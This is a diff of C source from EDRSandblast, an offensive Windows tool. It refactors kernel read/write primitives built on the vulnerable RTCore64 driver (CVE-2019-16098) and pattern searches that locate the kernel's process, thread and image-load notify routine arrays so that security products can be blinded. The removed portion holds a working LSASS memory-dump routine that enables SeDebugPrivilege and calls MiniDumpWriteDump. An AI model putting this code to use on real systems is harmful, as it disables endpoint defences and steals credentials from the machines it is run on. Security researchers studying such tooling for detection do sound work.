|
||||
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
|
||||
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
|
||||
if (!hRequest) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Configure proxy manually
|
||||
if (!proxySet)
|
||||
{
|
||||
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
|
||||
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
|
||||
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
|
||||
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
|
||||
|
||||
if (proxyConfig.lpszAutoConfigUrl != NULL)
|
||||
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
|
||||
|
||||
WCHAR szUrl[MAX_PATH] = { 0 };
|
||||
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
|
||||
|
||||
WINHTTP_PROXY_INFO proxyInfo;
|
||||
WinHttpGetProxyForUrl(
|
||||
hSession,
|
||||
szUrl,
|
||||
&autoProxyOptions,
|
||||
&proxyInfo);
|
||||
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
|
||||
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
|
||||
}
|
||||
|
||||
// Perform request
|
||||
BOOL bRequestSent;
|
||||
do {
|
||||
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
|
||||
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
|
||||
if (!bRequestSent) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
|
||||
if (!bResponseReceived) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Read response
|
||||
DWORD dwAvailableSize = 0;
|
||||
DWORD dwDownloadedSize = 0;
|
||||
SIZE_T allocatedSize = 4096;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = (PBYTE) malloc(allocatedSize);
|
||||
*output_size = 0;
|
||||
while (dwAvailableSize)
|
||||
{
|
||||
while (*output_size + dwAvailableSize > allocatedSize) {
|
||||
allocatedSize *= 2;
|
||||
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
}
|
||||
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output_size += dwDownloadedSize;
|
||||
|
||||
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
|
||||
}
|
||||
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
WinHttpCloseHandle(hRequest);
|
||||
WinHttpCloseHandle(hConnect);
|
||||
WinHttpCloseHandle(hSession);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,20 @@
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
BOOL IsElevatedProcess() {
|
||||
BOOL fRet = FALSE;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
TOKEN_ELEVATION Elevation;
|
||||
DWORD cbSize = sizeof(TOKEN_ELEVATION);
|
||||
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
|
||||
fRet = Elevation.TokenIsElevated;
|
||||
}
|
||||
}
|
||||
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
return fRet;
|
||||
}
|
||||
@@ -1,178 +1,69 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
#include "DriverRTCore.h"
|
||||
#include "DriverDBUtil.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
ReadMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
WriteMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
#define ReadMemoryType(TYPE) \
|
||||
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
|
||||
TYPE res;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
ReadMemoryType(BYTE);
|
||||
ReadMemoryType(WORD);
|
||||
ReadMemoryType(DWORD);
|
||||
ReadMemoryType(DWORD64);
|
||||
|
||||
#define ReadKernelMemoryType(TYPE) \
|
||||
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
|
||||
TYPE res;\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
ReadKernelMemoryType(BYTE);
|
||||
ReadKernelMemoryType(WORD);
|
||||
ReadKernelMemoryType(DWORD);
|
||||
ReadKernelMemoryType(DWORD64);
|
||||
|
||||
#define WriteMemoryType(TYPE) \
|
||||
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
WriteMemoryType(BYTE);
|
||||
WriteMemoryType(WORD);
|
||||
WriteMemoryType(DWORD);
|
||||
WriteMemoryType(DWORD64);
|
||||
|
||||
|
||||
#define WriteKernelMemoryType(TYPE) \
|
||||
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
WriteKernelMemoryType(BYTE);
|
||||
WriteKernelMemoryType(WORD);
|
||||
WriteKernelMemoryType(DWORD);
|
||||
WriteKernelMemoryType(DWORD64);
|
||||
|
||||
BOOL TestReadPrimitive() {
|
||||
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
|
||||
}
|
||||
@@ -7,76 +7,69 @@
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include "ListUtils.h"
|
||||
|
||||
VOID freeLinkedList(PVOID head) {
|
||||
PLINKED_LIST previousNode = NULL;
|
||||
PLINKED_LIST currentNode = (PLINKED_LIST)head;
|
||||
|
||||
while (currentNode) {
|
||||
previousNode = currentNode;
|
||||
currentNode = currentNode->next;
|
||||
free(previousNode);
|
||||
previousNode = NULL;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -7,24 +7,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
|
